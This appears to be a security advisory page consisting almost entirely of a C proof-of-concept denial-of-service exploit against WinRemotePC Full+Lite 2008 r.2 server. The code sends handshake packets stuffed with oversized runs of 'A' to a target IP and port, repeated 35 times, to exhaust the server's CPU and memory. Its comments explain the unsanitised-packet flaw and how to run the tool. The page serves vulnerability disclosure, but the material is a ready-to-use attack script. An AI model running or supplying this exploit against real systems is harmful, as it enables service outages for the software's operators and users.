SecurityReason - WinRemotePC Full+Lite 2008 r.2server Denial of Service Exploit

Advisory Text :

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <malloc.h>
#include <sys/stat.h>
#include <fcntl.h>

#define size 30000
#define tests 35
/*
****WinRemotePC Full+Lite 2008 r.2server DOS(memory+cpu consumption)
vulnerability poc****

A vulnerability exists in WinRemotePC Full+Lite 2008 r.2+server in the way
it handles recieved packets because it
fails to properly process/sanitize arbitrarily lengths and/or invalid
packets.The vulnerability occurs both before and
after login.When confrunted with such packets the server starts consuming
full cpu and memory and sometims leads to
immediate crash.Although i couldn't find a packet pattern for immediate
crash or exploitation the DOS is certain through
cpu+memory consumption.If one of the memory or cpu events did not occur
reruning the poc might fix that :D
Usage: ./dos [ip] [port]

WinRemotePC: http://www.winsoftmagic.com/winremotepc.html

Discovey+POC by Shinnok + raydenxy [at] yahoo dot com
*/

/*The first packet sent by the client to the server when initiating a
connection split between the "Service Pack n" string which will be replaced
with the variable length long strings of A's.Although the server is
vulnerable to this kind of dos without requiring to shoot out a partially
valid packet it is more reliable for dos this way :)*/
char
p1[]="\x00\x00\x00\x00\xa7\x01\x00\x00\xa7\x01\x00\x00\x00\xff\x00\x00\xe4\
x2e\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x8f\x41\x82\x7b
\x38\xb1\xe4\x4e\x9b\x92\xf5\xc0\xe5\xf9\xb9\xd2\x01\x01\x00\x00\x20\x00\x0
0\x00\x22\xf4\xc7\x1f\xf6\x9a\x5e\x77\x1b\x42\x73\x70\x42\xda\xf0\xd1\x70\x
59\xf8\xf7\x81\xb7\x97\x0a\x11\xf2\x4c\x0c\x3a\xbd\x56\xb9\x20\x00\x00\x00\
xa1\xeb\x78\xe2\xbe\xeb\xb7\x3a\x33\x8c\xf4\x1f\xbd\xbe\x21\x9e\xf8\x6b\x20
\x2d\x0f\x1d\x4b\x3e\x2d\x55\x5e\x45\xf6\x8a\xed\x4d\x5f\x00\x00\x00\xe8\x7
c\x1a\x56\xd0\xa6\xf8\xef\x09\xea\xb6\xc8\x53\xe2\xc9\xc9\xcd\x86\x0b\xa3\x
55\x90\xe6\x4c\x97\xb6\x38\x4b\xbc\x5f\xa4\x29\xa9\x2d\x1c\xa1\xa1\x7b\x1a\
xbf\x97\x1a\x88\x55\x1d\x7e\xa4\x2e\x43\xf7\x57\xd6\x21\x1e\x9e\xa0\x6f\x4a
\xd0\x38\xfa\xe9\x9a\x50\x8f\xd0\x43\x88\x9f\xc8\xb5\x6f\x09\x1a\xcf\x92\x7
4\x41\x6b\x87\xe1\xef\xbc\xe3\xf0\x99\x09\xb6\x8d\x85\x0b\x2e\xd3\x3b\x2e\x
94\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x28\x0a\x00\x00\x02\x00\x00\
x00";
char
p2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2a\x00\x00\x00\x30\x31\x2d\x3
0\x30\x2d\x36\x46\x32\x45\x30\x31\x37\x30\x2d\x31\x45\x45\x38\x2d\x34\x34\x
33\x36\x2d\x41\x35\x36\x44\x2d\x30\x44\x35\x33\x39\x38\x39\x36\x46\x30\x31\
x35\x02\x00\x00\x00\x30\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00
\x18\x00\x00\x00\x00\xff\x00\x00\xc4\x13\x00\x00\x02\x00\x00\x00\x00\x00\x0
0\x00\x04\x00\x00\x00\x01\x00\x00\x00";

/*All kinds of A sizes to ensure the dos,starting with big ones at first to
ensure that memory consumption occurs first and then dealing with the cpu
issue.*/
int
sizes[]={30000,29000,30000,127,128,255,256,511,512,1023,1024,2047,2048,3000
,4000,5000,6000,7000,8000,9000,10000,11000,12000,13000,14000,15000,16000,17
000,18000,19000,20000,21000,22000,23000,24000};

int main(int argc, char* argv[]){
struct sockaddr_in server;
int s,i,f;
char req[size];
char* buff;

for(i=0;i<size;i++) req[i]='A';

bzero(&server,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_port = htons(atoi(argv[2]));

for(i=0;i<tests;i++) {

s=socket(AF_INET,SOCK_STREAM,0);

if(connect(s,(struct sockaddr * ) &server,sizeof(struct sockaddr)) == -1)
{
perror("Target blasted.\n");
return(EXIT_SUCCESS);
}

buff = malloc((sizeof(p1)+sizeof(p2)+sizes[i])-2);

memcpy(buff,p1,sizeof(p1)-1);
memcpy(buff+sizeof(p1)-1,req,sizes[i]);
memcpy(buff+sizeof(p1)-1+sizes[i],p2,sizeof(p2)-1);

write(s,buff,(sizeof(p1)+sizeof(p2)+sizes[i])-2);
close(s);
free(buff);
}

return(EXIT_SUCCESS);
}